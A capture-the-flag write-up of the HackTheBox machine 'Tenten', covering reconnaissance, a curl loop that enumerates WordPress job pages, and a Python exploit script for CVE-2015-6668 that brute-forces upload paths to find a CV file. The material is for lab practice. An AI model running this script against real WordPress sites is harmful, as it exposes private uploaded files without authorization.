Tenten is an medium-rated Linux machine from HackTheBox created by ch4p. In the current post, my IP is 10.10.14.3, and the target’s IP is 10.10.10.10
This machine is quite interesting at the beginning, but as you progress, it has several sections that are counterintuitive. Firstly, you have to do reconnaissance to obtain the keywords and the WordPress plugins that the website has. With that information, you have to write a script to brute-force the website and obtain the key file, which of course is encrypted. Here, Steghide and John are used. Once achieved, you can access the machine; the privilege escalation is comical.
Recon
Local Terminal
> ping -c 1 10.10.10.10PING10.10.10.10 (10.10.10.10) 56(84) bytes of data.64bytesfrom10.10.10.10:icmp_seq=1ttl=63time=158ms---10.10.10.10pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=157.963/157.963/157.963/0.000ms
The machine is alive, and by the TTL (close but no more than 64), it is possible to think that the target is a Linux Machine.
There are two open ports. First the port 22 with ssh, if you search about "OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 launchpad", we can see that the target is an "Ubuntu Xenial". And about the port 80, the web page, if you search "Apache httpd 2.4.18 launchpad", it confirms that is an Ubuntu Xenial.
Both are the same, so there is a significant reduced chance to find a Docker Container here.
The port 80 have a redirect, add the IP to the /etc/hosts and launch another nmap scan.
for i in $(seq 1 100); do echo "[+] Para el numero $i: $(curl -s -X GET "http://tenten.htb/index.php/jobs/apply/$i/" | html2text | grep "Job Application" | awk '{print $2}' FS=":" | sed 's/*^ *//')"; done
By exploring each available site, the number 13 is the correct one, with an extremely explicit title, HackerAccessGranted.
"Allow attackers to perform otherwise restricted actions and subsequently enumerate and access the uploaded CV files by performing a bruteforce attack on the WordPress upload directory structure." So we can create an script to explore the upload folder by using the Wordpress structure.
exploit.py
import requests, signal, sysprint("""CVE-2015-6668Title: CV filename disclosure on Job-Manager WP PluginAuthor: Evangelos MourikisBlog: https://vagmour.euPlugin URL: http://www.wp-jobmanager.comVersions: <=0.7.25""")website =input('Enter a vulnerable website: ')filename =input('Enter a file name: ')filename2 = filename.replace(" ","-")for year inrange(2017,2023):# Year of the first post vs nowfor i inrange(1,13):# Monthsfor extension in{'doc','pdf','docx','jpg','png','gif'}: URL = website + "/wp-content/uploads/" + str(year) + "/" + "{:02}".format(i) + "/" + filename2 + "." + extension
req = requests.get(URL)if req.status_code==200:print("[+] URL of CV found! "+ URL) sys.exit(0)
This part of the machine is weird, the previously found name is the correct one, is a kind of non intuitive, but if you want to reflect this in a real life situation, you can use a wordlist or Cewl to get a wordlist from the most common words of the website, increasing the chances of finding something.
Local Terminal
python3exploit.py# Enter a vulnerable website: http://tenten.htb# Enter a file name: HackerAccessGranted
[+] URL of CV found!http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg
